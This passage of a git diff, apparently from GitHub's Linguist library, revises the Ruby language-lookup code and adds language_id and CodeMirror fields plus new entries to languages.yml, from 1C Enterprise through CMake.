     def self.find_by_filename(filename)
       basename = File.basename(filename)
-
-      # find the first extension with language definitions
-      extname = FileBlob.new(filename).extensions.detect do |e|
-        !@extension_index[e].empty?
-      end
-
-      (@filename_index[basename] + @extension_index[extname]).compact.uniq
+      @filename_index[basename]
     end
 
     # Public: Look up Languages by file extension.
     #
-    # extname - The extension String.
+    # The behaviour of this method recently changed.
+    # See the second example below.
+    #
+    # filename - The path String.
     #
     # Examples
     #
-    #   Language.find_by_extension('.rb')
+    #   Language.find_by_extension('dummy.rb')
     #   # => [#<Language name="Ruby">]
-    #
     #   Language.find_by_extension('rb')
-    #   # => [#<Language name="Ruby">]
+    #   # => []
     #
     # Returns all matching Languages or [] if none were found.
-    def self.find_by_extension(extname)
-      extname = ".#{extname}" unless extname.start_with?(".")
-      @extension_index[extname.downcase]
-    end
+    def self.find_by_extension(filename)
+      # find the first extension with language definitions
+      extname = FileBlob.new(filename.downcase).extensions.detect do |e|
+        !@extension_index[e].empty?
+      end
 
-    # DEPRECATED
-    def self.find_by_shebang(data)
-      @interpreter_index[Shebang.interpreter(data)]
+      @extension_index[extname]
     end
 
     # Public: Look up Languages by interpreter.
@@ -193,6 +185,19 @@ def self.find_by_interpreter(interpreter)
       @interpreter_index[interpreter]
     end
 
+    # Public: Look up Languages by its language_id.
+    #
+    # language_id - Integer of language_id
+    #
+    # Examples
+    #
+    #   Language.find_by_id(100)
+    #   # => [#<Language name="Elixir">]
+    #
+    # Returns the matching Language
+    def self.find_by_id(language_id)
+      @language_id_index[language_id.to_i]
+    end
 
     # Public: Look up Language by its name.
     #
@@ -208,8 +213,12 @@ def self.find_by_interpreter(interpreter)
     #
     # Returns the Language or nil if none was found.
     def self.[](name)
-      return nil if name.to_s.empty?
-      name && (@index[name.downcase] || @index[name.split(',').first.downcase])
+      return nil if !name.is_a?(String) || name.to_s.empty?
+
+      lang = @index[name.downcase]
+      return lang if lang
+
+      @index[name.split(',', 2).first.downcase]
     end
 
     # Public: A List of popular languages
@@ -243,17 +252,6 @@ def self.colors
       @colors ||= all.select(&:color).sort_by { |lang| lang.name.downcase }
     end
 
-    # Public: A List of languages compatible with Ace.
-    #
-    # TODO: Remove this method in a 5.x release. Every language now needs an ace_mode
-    # key, so this function isn't doing anything unique anymore.
-    #
-    # Returns an Array of Languages.
-    def self.ace_modes
-      warn "This method will be deprecated in a future 5.x release. Every language now has an `ace_mode` set."
-      @ace_modes ||= all.select(&:ace_mode).sort_by { |lang| lang.name.downcase }
-    end
-
     # Internal: Initialize a new Language
     #
     # attributes - A hash of attributes
@@ -261,54 +259,51 @@ def initialize(attributes = {})
       # @name is required
       @name = attributes[:name] || raise(ArgumentError, "missing name")
 
+      @fs_name = attributes[:fs_name]
+
       # Set type
       @type = attributes[:type] ? attributes[:type].to_sym : nil
-      if @type && !TYPES.include?(@type)
+      if @type && !get_types.include?(@type)
         raise ArgumentError, "invalid type: #{@type}"
       end
 
       @color = attributes[:color]
 
       # Set aliases
-      @aliases = [default_alias_name] + (attributes[:aliases] || [])
-
-      # Load the TextMate scope name or try to guess one
-      @tm_scope = attributes[:tm_scope] || begin
-        context = case @type
-                  when :data, :markup, :prose
-                    'text'
-                  when :programming, nil
-                    'source'
-                  end
-        "#{context}.#{@name.downcase}"
-      end
+      @aliases = [default_alias] + (attributes[:aliases] || [])
 
+      @tm_scope = attributes[:tm_scope] || 'none'
       @ace_mode = attributes[:ace_mode]
+      @codemirror_mode = attributes[:codemirror_mode]
+      @codemirror_mime_type = attributes[:codemirror_mime_type]
       @wrap = attributes[:wrap] || false
 
-      # Set legacy search term
-      @search_term = attributes[:search_term] || default_alias_name
+      # Set the language_id
+      @language_id = attributes[:language_id]
 
       # Set extensions or default to [].
-      @extensions = attributes[:extensions] || []
-      @interpreters = attributes[:interpreters]   || []
-      @filenames  = attributes[:filenames]  || []
+      @extensions   = attributes[:extensions]   || []
+      @interpreters = attributes[:interpreters] || []
+      @filenames    = attributes[:filenames]    || []
 
-      # Set popular, and searchable flags
+      # Set popular flag
       @popular    = attributes.key?(:popular)    ? attributes[:popular]    : false
-      @searchable = attributes.key?(:searchable) ? attributes[:searchable] : true
 
       # If group name is set, save the name so we can lazy load it later
       if attributes[:group_name]
-        @group = nil
         @group_name = attributes[:group_name]
 
       # Otherwise we can set it to self now
       else
-        @group = self
+        @group_name = self.name
       end
     end
 
+    def get_types
+      # Valid Languages types
+      @types = [:data, :markup, :programming, :prose]
+    end
+
     # Public: Get proper name
     #
     # Examples
@@ -320,6 +315,10 @@ def initialize(attributes = {})
     # Returns the name String
     attr_reader :name
 
+    # Public:
+    #
+    attr_reader :fs_name
+
     # Public: Get type.
     #
     # Returns a type Symbol or nil.
@@ -340,16 +339,16 @@ def initialize(attributes = {})
     # Returns an Array of String names
     attr_reader :aliases
 
-    # Deprecated: Get code search term
+    # Public: Get language_id (used in GitHub search)
     #
     # Examples
     #
-    #   # => "ruby"
-    #   # => "python"
-    #   # => "perl"
+    #   # => "1"
+    #   # => "2"
+    #   # => "3"
     #
-    # Returns the name String
-    attr_reader :search_term
+    # Returns the integer language_id
+    attr_reader :language_id
 
     # Public: Get the name of a TextMate-compatible scope
     #
@@ -367,6 +366,31 @@ def initialize(attributes = {})
     # Returns a String name or nil
     attr_reader :ace_mode
 
+    # Public: Get CodeMirror mode
+    #
+    # Maps to a directory in the `mode/` source code.
+    #   https://github.com/codemirror/CodeMirror/tree/master/mode
+    #
+    # Examples
+    #
+    #  # => "nil"
+    #  # => "javascript"
+    #  # => "clike"
+    #
+    # Returns a String name or nil
+    attr_reader :codemirror_mode
+
+    # Public: Get CodeMirror MIME type mode
+    #
+    # Examples
+    #
+    #  # => "nil"
+    #  # => "text/x-javascript"
+    #  # => "text/x-csrc"
+    #
+    # Returns a String name or nil
+    attr_reader :codemirror_mime_type
+
     # Public: Should language lines be wrapped
     #
     # Returns true or false
@@ -399,22 +423,6 @@ def initialize(attributes = {})
     # Returns the extensions Array
     attr_reader :filenames
 
-    # Deprecated: Get primary extension
-    #
-    # Defaults to the first extension but can be overridden
-    # in the languages.yml.
-    #
-    # The primary extension can not be nil. Tests should verify this.
-    #
-    # This method is only used by app/helpers/gists_helper.rb for creating
-    # the language dropdown. It really should be using `name` instead.
-    # Would like to drop primary extension.
-    #
-    # Returns the extension String.
-    def primary_extension
-      extensions.first
-    end
-
     # Public: Get URL escaped name.
     #
     # Examples
@@ -425,15 +433,16 @@ def primary_extension
     #
     # Returns the escaped String.
     def escaped_name
-      EscapeUtils.escape_url(name).gsub('+', '%20')
+      CGI.escape(name).gsub('+', '%20')
     end
 
-    # Internal: Get default alias name
+    # Public: Get default alias name
     #
     # Returns the alias name String
-    def default_alias_name
+    def default_alias
       name.downcase.gsub(/\s/, '-')
     end
+    alias_method :default_alias_name, :default_alias
 
     # Public: Get Language group
     #
@@ -456,16 +465,6 @@ def unpopular?
       !popular?
     end
 
-    # Public: Is it searchable?
-    #
-    # Unsearchable languages won't by indexed by solr and won't show
-    # up in the code search dropdown.
-    #
-    # Returns true or false
-    def searchable?
-      @searchable
-    end
-
     # Public: Return name as String representation
     def to_s
       name
@@ -488,24 +487,25 @@ def inspect
     end
   end
 
-  extensions = Samples.cache['extnames']
-  interpreters = Samples.cache['interpreters']
-  filenames = Samples.cache['filenames']
-  popular = YAML.load_file(File.expand_path("../popular.yml", __FILE__))
+  samples      = Samples.load_samples
+  extensions   = samples['extnames']
+  interpreters = samples['interpreters']
+  popular      = YAML.load_file(File.expand_path("../popular.yml", __FILE__))
 
-  languages_yml = File.expand_path("../languages.yml", __FILE__)
+  languages_yml  = File.expand_path("../languages.yml",  __FILE__)
   languages_json = File.expand_path("../languages.json", __FILE__)
 
-  if File.exist?(languages_json) && defined?(Yajl)
-    languages = Yajl.load(File.read(languages_json))
+  if File.exist?(languages_json)
+    serializer = defined?(Yajl) ? Yajl : JSON
+    languages = serializer.load(File.read(languages_json))
   else
     languages = YAML.load_file(languages_yml)
   end
 
   languages.each do |name, options|
-    options['extensions'] ||= []
+    options['extensions']   ||= []
     options['interpreters'] ||= []
-    options['filenames'] ||= []
+    options['filenames']    ||= []
 
     if extnames = extensions[name]
       extnames.each do |extname|
@@ -516,9 +516,7 @@ def inspect
       end
     end
 
-    if interpreters == nil
-      interpreters = {}
-    end
+    interpreters ||= {}
 
     if interpreter_names = interpreters[name]
       interpreter_names.each do |interpreter|
@@ -528,25 +526,19 @@ def inspect
       end
     end
 
-    if fns = filenames[name]
-      fns.each do |filename|
-        if !options['filenames'].include?(filename)
-          options['filenames'] << filename
-        end
-      end
-    end
-
     Language.create(
       :name              => name,
+      :fs_name           => options['fs_name'],
       :color             => options['color'],
       :type              => options['type'],
       :aliases           => options['aliases'],
       :tm_scope          => options['tm_scope'],
       :ace_mode          => options['ace_mode'],
+      :codemirror_mode   => options['codemirror_mode'],
+      :codemirror_mime_type => options['codemirror_mime_type'],
       :wrap              => options['wrap'],
       :group_name        => options['group'],
-      :searchable        => options.fetch('searchable', true),
-      :search_term       => options['search_term'],
+      :language_id       => options['language_id'],
       :extensions        => Array(options['extensions']),
       :interpreters      => options['interpreters'].sort,
       :filenames         => options['filenames'],
diff --git a/lib/linguist/languages.yml b/lib/linguist/languages.yml
old mode 100755
new mode 100644
index abd3418ca5..9bde77235a
--- a/lib/linguist/languages.yml
+++ b/lib/linguist/languages.yml
@@ -1,158 +1,277 @@
 # Defines all Languages known to GitHub.
 #
-# type              - Either data, programming, markup, prose, or nil
-# aliases           - An Array of additional aliases (implicitly
-#                     includes name.downcase)
-# ace_mode          - A String name of the Ace Mode used for highlighting whenever
-#                     a file is edited. This must match one of the filenames in http://git.io/3XO_Cg.
-#                     Use "text" if a mode does not exist.
-# wrap              - Boolean wrap to enable line wrapping (default: false)
-# extensions        - An Array of associated extensions (the first one is
-#                     considered the primary extension, the others should be
-#                     listed alphabetically)
-# interpreters      - An Array of associated interpreters
-# searchable        - Boolean flag to enable searching (defaults to true)
-# search_term       - Deprecated: Some languages maybe indexed under a
-#                     different alias. Avoid defining new exceptions.
-# color             - CSS hex color to represent the language.
-# tm_scope          - The TextMate scope that represents this programming
-#                     language. This should match one of the scopes listed in
-#                     the grammars.yml file. Use "none" if there is no grammar
-#                     for this language.
-# group             - Name of the parent language. Languages in a group are counted
-#                     in the statistics as the parent language.
+# fs_name               - Optional field. Only necessary as a replacement for the sample directory name if the
+#                         language name is not a valid filename under the Windows filesystem (e.g., if it
+#                         contains an asterisk).
+# type                  - Either data, programming, markup, prose, or nil
+# aliases               - An Array of additional aliases (implicitly
+#                         includes name.downcase)
+# ace_mode              - A String name of the Ace Mode used for highlighting whenever
+#                         a file is edited. This must match one of the filenames in https://gh.io/acemodes.
+#                         Use "text" if a mode does not exist.
+# codemirror_mode       - A String name of the CodeMirror Mode used for highlighting whenever a file is edited.
+#                         This must match a mode from https://git.io/vi9Fx
+# codemirror_mime_type  - A String name of the file mime type used for highlighting whenever a file is edited.
+#                         This should match the `mime` associated with the mode from https://git.io/f4SoQ
+# wrap                  - Boolean wrap to enable line wrapping (default: false)
+# extensions            - An Array of associated extensions (the first one is
+#                         considered the primary extension, the others should be
+#                         listed alphabetically)
+# filenames             - An Array of filenames commonly associated with the language
+# interpreters          - An Array of associated interpreters
+# language_id           - Integer used as a language-name-independent indexed field so that we can rename
+#                         languages in Linguist without reindexing all the code on GitHub. Must not be
+#                         changed for existing languages without the explicit permission of GitHub staff.
+# color                 - CSS hex color to represent the language. Only used if type is "programming" or "markup".
+# tm_scope              - The TextMate scope that represents this programming
+#                         language. This should match one of the scopes listed in
+#                         the grammars.yml file. Use "none" if there is no grammar
+#                         for this language.
+# group                 - Name of the parent language. Languages in a group are counted
+#                         in the statistics as the parent language.
 #
 # Any additions or modifications (even trivial) should have corresponding
-# test change in `test/test_blob.rb`.
+# test changes in `test/test_blob.rb`.
 #
-# Please keep this list alphabetized. Capitalization comes before lower case.
-
+# Please keep this list alphabetized. Capitalization comes before lowercase.
+---
+1C Enterprise:
+  type: programming
+  color: "#814CCC"
+  extensions:
+  - ".bsl"
+  - ".os"
+  tm_scope: source.bsl
+  ace_mode: text
+  language_id: 0
+2-Dimensional Array:
+  type: data
+  color: "#38761D"
+  extensions:
+  - ".2da"
+  tm_scope: source.2da
+  ace_mode: text
+  language_id: 387204628
+4D:
+  type: programming
+  color: "#004289"
+  extensions:
+  - ".4dm"
+  tm_scope: source.4dm
+  ace_mode: text
+  language_id: 577529595
 ABAP:
   type: programming
   color: "#E8274B"
   extensions:
-  - .abap
+  - ".abap"
+  tm_scope: source.abap
   ace_mode: abap
-
+  language_id: 1
+ABAP CDS:
+  type: programming
+  color: "#555e25"
+  extensions:
+  - ".asddls"
+  tm_scope: source.abapcds
+  language_id: 452681853
+  ace_mode: text
+ABNF:
+  type: data
+  ace_mode: text
+  extensions:
+  - ".abnf"
+  tm_scope: source.abnf
+  language_id: 429
 AGS Script:
   type: programming
   color: "#B9D9FF"
   aliases:
   - ags
   extensions:
-  - .asc
-  - .ash
+  - ".asc"
+  - ".ash"
   tm_scope: source.c++
   ace_mode: c_cpp
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-c++src
+  language_id: 2
+AIDL:
+  type: programming
+  color: "#34EB6B"
+  tm_scope: source.aidl
+  extensions:
+  - ".aidl"
+  ace_mode: text
+  interpreters:
+  - aidl
+  language_id: 451700185
+AL:
+  type: programming
+  color: "#3AA2B5"
+  extensions:
+  - ".al"
+  tm_scope: source.al
+  ace_mode: text
+  language_id: 658971832
 AMPL:
   type: programming
   color: "#E6EFBB"
   extensions:
-  - .ampl
-  - .mod
+  - ".ampl"
+  - ".mod"
   tm_scope: source.ampl
   ace_mode: text
-
+  language_id: 3
 ANTLR:
   type: programming
   color: "#9DC3FF"
   extensions:
-  - .g4
+  - ".g4"
+  tm_scope: source.antlr
   ace_mode: text
-
+  language_id: 4
 API Blueprint:
   type: markup
   color: "#2ACCA8"
   ace_mode: markdown
   extensions:
-  - .apib
+  - ".apib"
   tm_scope: text.html.markdown.source.gfm.apib
-
+  language_id: 5
 APL:
   type: programming
   color: "#5A8164"
   extensions:
-  - .apl
-  - .dyalog
+  - ".apl"
+  - ".dyalog"
   interpreters:
   - apl
   - aplx
   - dyalog
   tm_scope: source.apl
   ace_mode: text
-
-ASP:
+  codemirror_mode: apl
+  codemirror_mime_type: text/apl
+  language_id: 6
+ASL:
+  type: programming
+  ace_mode: text
+  extensions:
+  - ".asl"
+  - ".dsl"
+  tm_scope: source.asl
+  language_id: 124996147
+ASN.1:
+  type: data
+  extensions:
+  - ".asn"
+  - ".asn1"
+  tm_scope: source.asn
+  ace_mode: text
+  codemirror_mode: asn.1
+  codemirror_mime_type: text/x-ttcn-asn
+  language_id: 7
+ASP.NET:
   type: programming
-  color: "#6a40fd"
-  search_term: aspx-vb
   tm_scope: text.html.asp
+  color: "#9400ff"
   aliases:
   - aspx
   - aspx-vb
   extensions:
-  - .asp
-  - .asax
-  - .ascx
-  - .ashx
-  - .asmx
-  - .aspx
-  - .axd
+  - ".asax"
+  - ".ascx"
+  - ".ashx"
+  - ".asmx"
+  - ".aspx"
+  - ".axd"
   ace_mode: text
-
+  codemirror_mode: htmlembedded
+  codemirror_mime_type: application/x-aspx
+  language_id: 564186416
 ATS:
   type: programming
   color: "#1ac620"
   aliases:
   - ats2
   extensions:
-  - .dats
-  - .hats
-  - .sats
+  - ".dats"
+  - ".hats"
+  - ".sats"
   tm_scope: source.ats
   ace_mode: ocaml
-
+  language_id: 9
 ActionScript:
   type: programming
   tm_scope: source.actionscript.3
   color: "#882B0F"
-  search_term: as3
   aliases:
   - actionscript 3
   - actionscript3
   - as3
   extensions:
-  - .as
+  - ".as"
   ace_mode: actionscript
-
+  language_id: 10
 Ada:
   type: programming
   color: "#02f88c"
   extensions:
-  - .adb
-  - .ada
-  - .ads
+  - ".adb"
+  - ".ada"
+  - ".ads"
   aliases:
   - ada95
   - ada2005
+  tm_scope: source.ada
   ace_mode: ada
-
+  language_id: 11
+Adblock Filter List:
+  type: data
+  color: "#800000"
+  ace_mode: text
+  extensions:
+  - ".txt"
+  aliases:
+  - ad block filters
+  - ad block
+  - adb
+  - adblock
+  tm_scope: text.adblock
+  language_id: 884614762
+Adobe Font Metrics:
+  type: data
+  color: "#fa0f00"
+  tm_scope: source.afm
+  extensions:
+  - ".afm"
+  aliases:
+  - acfm
+  - adobe composite font metrics
+  - adobe multiple font metrics
+  - amfm
+  ace_mode: text
+  language_id: 147198098
 Agda:
   type: programming
   color: "#315665"
   extensions:
-  - .agda
+  - ".agda"
+  tm_scope: source.agda
   ace_mode: text
-
+  language_id: 12
 Alloy:
-  type: programming  # 'modeling' would be more appropiate
+  type: programming
   color: "#64C800"
   extensions:
-  - .als
+  - ".als"
+  tm_scope: source.alloy
   ace_mode: text
-
+  language_id: 13
 Alpine Abuild:
   type: programming
+  color: "#0D597F"
   group: Shell
   aliases:
   - abuild
@@ -161,120 +280,187 @@ Alpine Abuild:
   - APKBUILD
   tm_scope: source.shell
   ace_mode: sh
-
+  codemirror_mode: shell
+  codemirror_mime_type: text/x-sh
+  language_id: 14
+Altium Designer:
+  type: data
+  color: "#A89663"
+  aliases:
+  - altium
+  extensions:
+  - ".OutJob"
+  - ".PcbDoc"
+  - ".PrjPCB"
+  - ".SchDoc"
+  tm_scope: source.ini
+  ace_mode: ini
+  language_id: 187772328
+AngelScript:
+  type: programming
+  color: "#C7D7DC"
+  extensions:
+  - ".as"
+  - ".angelscript"
+  tm_scope: source.angelscript
+  ace_mode: text
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-c++src
+  language_id: 389477596
 Ant Build System:
   type: data
+  color: "#A9157E"
   tm_scope: text.xml.ant
   filenames:
   - ant.xml
   - build.xml
   ace_mode: xml
-
-ApacheConf:
+  codemirror_mode: xml
+  codemirror_mime_type: application/xml
+  language_id: 15
+Antlers:
   type: markup
+  color: "#ff269e"
+  extensions:
+  - ".antlers.html"
+  - ".antlers.php"
+  - ".antlers.xml"
+  tm_scope: text.html.statamic
+  ace_mode: text
+  language_id: 1067292663
+ApacheConf:
+  type: data
+  color: "#d12127"
   aliases:
   - aconf
   - apache
   extensions:
-  - .apacheconf
-  - .vhost
+  - ".apacheconf"
+  - ".vhost"
+  filenames:
+  - ".htaccess"
+  - apache2.conf
+  - httpd.conf
   tm_scope: source.apache-config
   ace_mode: apache_conf
-
+  language_id: 16
 Apex:
   type: programming
+  color: "#1797c0"
   extensions:
-  - .cls
-  tm_scope: source.java
+  - ".cls"
+  - ".trigger"
+  tm_scope: source.apex
   ace_mode: java
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-java
+  language_id: 17
 Apollo Guidance Computer:
   type: programming
   color: "#0B3D91"
   group: Assembly
   extensions:
-  - .agc
+  - ".agc"
   tm_scope: source.agc
   ace_mode: assembly_x86
-
+  language_id: 18
 AppleScript:
   type: programming
   aliases:
   - osascript
   extensions:
-  - .applescript
-  - .scpt
+  - ".applescript"
+  - ".scpt"
   interpreters:
   - osascript
+  tm_scope: source.applescript
   ace_mode: applescript
   color: "#101F1F"
-
+  language_id: 19
 Arc:
   type: programming
   color: "#aa2afe"
   extensions:
-  - .arc
+  - ".arc"
   tm_scope: none
   ace_mode: text
-
-Arduino:
-  type: programming
-  color: "#bd79d1"
-  extensions:
-  - .ino
-  tm_scope: source.c++
-  ace_mode: c_cpp
-
+  language_id: 20
 AsciiDoc:
   type: prose
+  color: "#73a0c5"
   ace_mode: asciidoc
   wrap: true
   extensions:
-  - .asciidoc
-  - .adoc
-  - .asc
+  - ".asciidoc"
+  - ".adoc"
+  - ".asc"
   tm_scope: text.html.asciidoc
-
+  language_id: 22
 AspectJ:
   type: programming
   color: "#a957b0"
   extensions:
-  - .aj
+  - ".aj"
   tm_scope: source.aspectj
   ace_mode: text
-
+  language_id: 23
 Assembly:
   type: programming
   color: "#6E4C13"
-  search_term: nasm
   aliases:
+  - asm
   - nasm
   extensions:
-  - .asm
-  - .a51
-  - .inc
-  - .nasm
+  - ".asm"
+  - ".a51"
+  - ".i"
+  - ".inc"
+  - ".nas"
+  - ".nasm"
   tm_scope: source.assembly
   ace_mode: assembly_x86
-
+  language_id: 24
+Astro:
+  type: markup
+  color: "#ff5a03"
+  extensions:
+  - ".astro"
+  tm_scope: source.astro
+  ace_mode: html
+  codemirror_mode: jsx
+  codemirror_mime_type: text/jsx
+  language_id: 578209015
+Asymptote:
+  type: programming
+  color: "#ff0000"
+  extensions:
+  - ".asy"
+  interpreters:
+  - asy
+  tm_scope: source.c++
+  ace_mode: c_cpp
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-kotlin
+  language_id: 591605007
 Augeas:
   type: programming
+  color: "#9CC134"
   extensions:
-  - .aug
+  - ".aug"
   tm_scope: none
   ace_mode: text
-
+  language_id: 25
 AutoHotkey:
   type: programming
   color: "#6594b9"
   aliases:
   - ahk
   extensions:
-  - .ahk
-  - .ahkl
+  - ".ahk"
+  - ".ahkl"
   tm_scope: source.ahk
   ace_mode: autohotkey
-
+  language_id: 26
 AutoIt:
   type: programming
   color: "#1C3552"
@@ -283,402 +469,818 @@ AutoIt:
   - AutoIt3
   - AutoItScript
   extensions:
-  - .au3
+  - ".au3"
   tm_scope: source.autoit
   ace_mode: autohotkey
-
+  language_id: 27
+Avro IDL:
+  type: data
+  color: "#0040FF"
+  extensions:
+  - ".avdl"
+  tm_scope: source.avro
+  ace_mode: text
+  language_id: 785497837
 Awk:
   type: programming
+  color: "#c30e9b"
   extensions:
-  - .awk
-  - .auk
-  - .gawk
-  - .mawk
-  - .nawk
+  - ".awk"
+  - ".auk"
+  - ".gawk"
+  - ".mawk"
+  - ".nawk"
   interpreters:
   - awk
   - gawk
   - mawk
   - nawk
+  tm_scope: source.awk
+  ace_mode: text
+  language_id: 28
+B4X:
+  type: programming
+  color: "#00e4ff"
+  extensions:
+  - ".bas"
+  tm_scope: source.vba
+  aliases:
+  - basic for android
+  ace_mode: text
+  codemirror_mode: vb
+  codemirror_mime_type: text/x-vb
+  language_id: 96642275
+BASIC:
+  type: programming
+  extensions:
+  - ".bas"
+  tm_scope: source.basic
+  ace_mode: text
+  color: "#ff0000"
+  language_id: 28923963
+BQN:
+  type: programming
+  color: "#2b7067"
+  extensions:
+  - ".bqn"
+  tm_scope: source.bqn
+  ace_mode: text
+  language_id: 330386870
+Ballerina:
+  type: programming
+  extensions:
+  - ".bal"
+  tm_scope: source.ballerina
   ace_mode: text
-
+  color: "#FF5000"
+  language_id: 720859680
 Batchfile:
   type: programming
-  search_term: bat
   aliases:
   - bat
   - batch
   - dosbatch
   - winbatch
   extensions:
-  - .bat
-  - .cmd
-  tm_scope: source.dosbatch
+  - ".bat"
+  - ".cmd"
+  tm_scope: source.batchfile
   ace_mode: batchfile
   color: "#C1F12E"
-
+  language_id: 29
+Beef:
+  type: programming
+  color: "#a52f4e"
+  extensions:
+  - ".bf"
+  tm_scope: source.cs
+  ace_mode: csharp
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csharp
+  language_id: 545626333
 Befunge:
   type: programming
   extensions:
-  - .befunge
+  - ".befunge"
+  - ".bf"
+  tm_scope: source.befunge
+  ace_mode: text
+  language_id: 30
+Berry:
+  type: programming
+  extensions:
+  - ".be"
+  tm_scope: source.berry
+  ace_mode: text
+  color: "#15A13C"
+  aliases:
+  - be
+  language_id: 121855308
+BibTeX:
+  type: markup
+  color: "#778899"
+  group: TeX
+  extensions:
+  - ".bib"
+  - ".bibtex"
+  tm_scope: text.bibtex
+  ace_mode: tex
+  codemirror_mode: stex
+  codemirror_mime_type: text/x-stex
+  language_id: 982188347
+Bicep:
+  type: programming
+  color: "#519aba"
+  extensions:
+  - ".bicep"
+  - ".bicepparam"
+  tm_scope: source.bicep
   ace_mode: text
-
+  language_id: 321200902
+Bikeshed:
+  type: markup
+  color: "#5562ac"
+  extensions:
+  - ".bs"
+  tm_scope: source.csswg
+  ace_mode: html
+  codemirror_mode: htmlmixed
+  codemirror_mime_type: text/html
+  language_id: 1055528081
 Bison:
   type: programming
+  color: "#6A463F"
   group: Yacc
-  tm_scope: source.bison
+  tm_scope: source.yacc
   extensions:
-  - .bison
+  - ".bison"
   ace_mode: text
-  color: "#6A463F"
-
+  language_id: 31
 BitBake:
   type: programming
-  tm_scope: none
+  color: "#00bce4"
+  tm_scope: source.bb
   extensions:
-  - .bb
+  - ".bb"
+  - ".bbappend"
+  - ".bbclass"
+  - ".inc"
   ace_mode: text
-
+  language_id: 32
 Blade:
   type: markup
-  group: HTML
+  color: "#f7523f"
   extensions:
-    - .blade
-    - .blade.php
+  - ".blade"
+  - ".blade.php"
   tm_scope: text.html.php.blade
   ace_mode: text
-
+  language_id: 33
 BlitzBasic:
   type: programming
+  color: "#00FFAE"
   aliases:
   - b3d
   - blitz3d
   - blitzplus
   - bplus
   extensions:
-  - .bb
-  - .decls
+  - ".bb"
+  - ".decls"
   tm_scope: source.blitzmax
   ace_mode: text
-
+  language_id: 34
 BlitzMax:
   type: programming
   color: "#cd6400"
   extensions:
-  - .bmx
+  - ".bmx"
   aliases:
   - bmax
+  tm_scope: source.blitzmax
   ace_mode: text
-
+  language_id: 35
 Bluespec:
   type: programming
+  color: "#12223c"
   extensions:
-  - .bsv
+  - ".bsv"
+  aliases:
+  - bluespec bsv
+  - bsv
   tm_scope: source.bsv
   ace_mode: verilog
-
+  codemirror_mode: verilog
+  codemirror_mime_type: text/x-systemverilog
+  language_id: 36
+Bluespec BH:
+  type: programming
+  group: Bluespec
+  color: "#12223c"
+  extensions:
+  - ".bs"
+  aliases:
+  - bh
+  - bluespec classic
+  tm_scope: source.bh
+  ace_mode: haskell
+  codemirror_mode: haskell
+  codemirror_mime_type: text/x-haskell
+  language_id: 641580358
 Boo:
   type: programming
   color: "#d4bec1"
   extensions:
-  - .boo
+  - ".boo"
   ace_mode: text
   tm_scope: source.boo
-
+  language_id: 37
+Boogie:
+  type: programming
+  color: "#c80fa0"
+  extensions:
+  - ".bpl"
+  interpreters:
+  - boogie
+  tm_scope: source.boogie
+  ace_mode: text
+  language_id: 955017407
 Brainfuck:
   type: programming
   color: "#2F2530"
   extensions:
-  - .b
-  - .bf
+  - ".b"
+  - ".bf"
   tm_scope: source.bf
   ace_mode: text
-
-Brightscript:
+  codemirror_mode: brainfuck
+  codemirror_mime_type: text/x-brainfuck
+  language_id: 38
+BrighterScript:
   type: programming
+  color: "#66AABB"
   extensions:
-  - .brs
-  tm_scope: source.brightscript
+  - ".bs"
+  tm_scope: source.brs
   ace_mode: text
-
-Bro:
+  language_id: 943571030
+Brightscript:
   type: programming
+  color: "#662D91"
   extensions:
-  - .bro
+  - ".brs"
+  tm_scope: source.brs
+  ace_mode: text
+  language_id: 39
+Browserslist:
+  type: data
+  color: "#ffd539"
+  filenames:
+  - ".browserslistrc"
+  - browserslist
+  tm_scope: text.browserslist
   ace_mode: text
-
+  language_id: 153503348
 C:
   type: programming
   color: "#555555"
   extensions:
-  - .c
-  - .cats
-  - .h
-  - .idc
-  - .w
+  - ".c"
+  - ".cats"
+  - ".h"
+  - ".idc"
   interpreters:
   - tcc
+  tm_scope: source.c
   ace_mode: c_cpp
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csrc
+  language_id: 41
 C#:
   type: programming
   ace_mode: csharp
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csharp
   tm_scope: source.cs
-  search_term: csharp
   color: "#178600"
   aliases:
   - csharp
-  extensions:
-  - .cs
-  - .cake
-  - .cshtml
-  - .csx
-
+  - cake
+  - cakescript
+  extensions:
+  - ".cs"
+  - ".cake"
+  - ".cs.pp"
+  - ".csx"
+  - ".linq"
+  language_id: 42
 C++:
   type: programming
+  tm_scope: source.c++
   ace_mode: c_cpp
-  search_term: cpp
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-c++src
   color: "#f34b7d"
   aliases:
   - cpp
   extensions:
-  - .cpp
-  - .c++
-  - .cc
-  - .cp
-  - .cxx
-  - .h
-  - .h++
-  - .hh
-  - .hpp
-  - .hxx
-  - .inc
-  - .inl
-  - .ipp
-  - .tcc
-  - .tpp
-
+  - ".cpp"
+  - ".c++"
+  - ".cc"
+  - ".cp"
+  - ".cppm"
+  - ".cxx"
+  - ".h"
+  - ".h++"
+  - ".hh"
+  - ".hpp"
+  - ".hxx"
+  - ".inc"
+  - ".inl"
+  - ".ino"
+  - ".ipp"
+  - ".ixx"
+  - ".re"
+  - ".tcc"
+  - ".tpp"
+  - ".txx"
+  language_id: 43
 C-ObjDump:
   type: data
   extensions:
-  - .c-objdump
+  - ".c-objdump"
   tm_scope: objdump.x86asm
   ace_mode: assembly_x86
-
+  language_id: 44
 C2hs Haskell:
   type: programming
   group: Haskell
   aliases:
   - c2hs
   extensions:
-  - .chs
+  - ".chs"
   tm_scope: source.haskell
   ace_mode: haskell
-
+  codemirror_mode: haskell
+  codemirror_mime_type: text/x-haskell
+  language_id: 45
+CAP CDS:
+  type: programming
+  tm_scope: source.cds
+  color: "#0092d1"
+  aliases:
+  - cds
+  extensions:
+  - ".cds"
+  ace_mode: text
+  language_id: 390788699
+CIL:
+  type: data
+  tm_scope: source.cil
+  extensions:
+  - ".cil"
+  ace_mode: text
+  language_id: 29176339
 CLIPS:
   type: programming
+  color: "#00A300"
   extensions:
-  - .clp
+  - ".clp"
   tm_scope: source.clips
   ace_mode: text
-
+  language_id: 46
 CMake:
   type: programming
+  color: "#DA3434"
   extensions:
-  - .cmake
-  - .cmake.in
+  - ".cmake"
+  - ".cmake.in"
   filenames:
   - CMakeLists.txt
+  tm_scope: source.cmake
   ace_mode: text
-
+  codemirror_mode: cmake
+  codemirror_mime_type: text/x-cmake
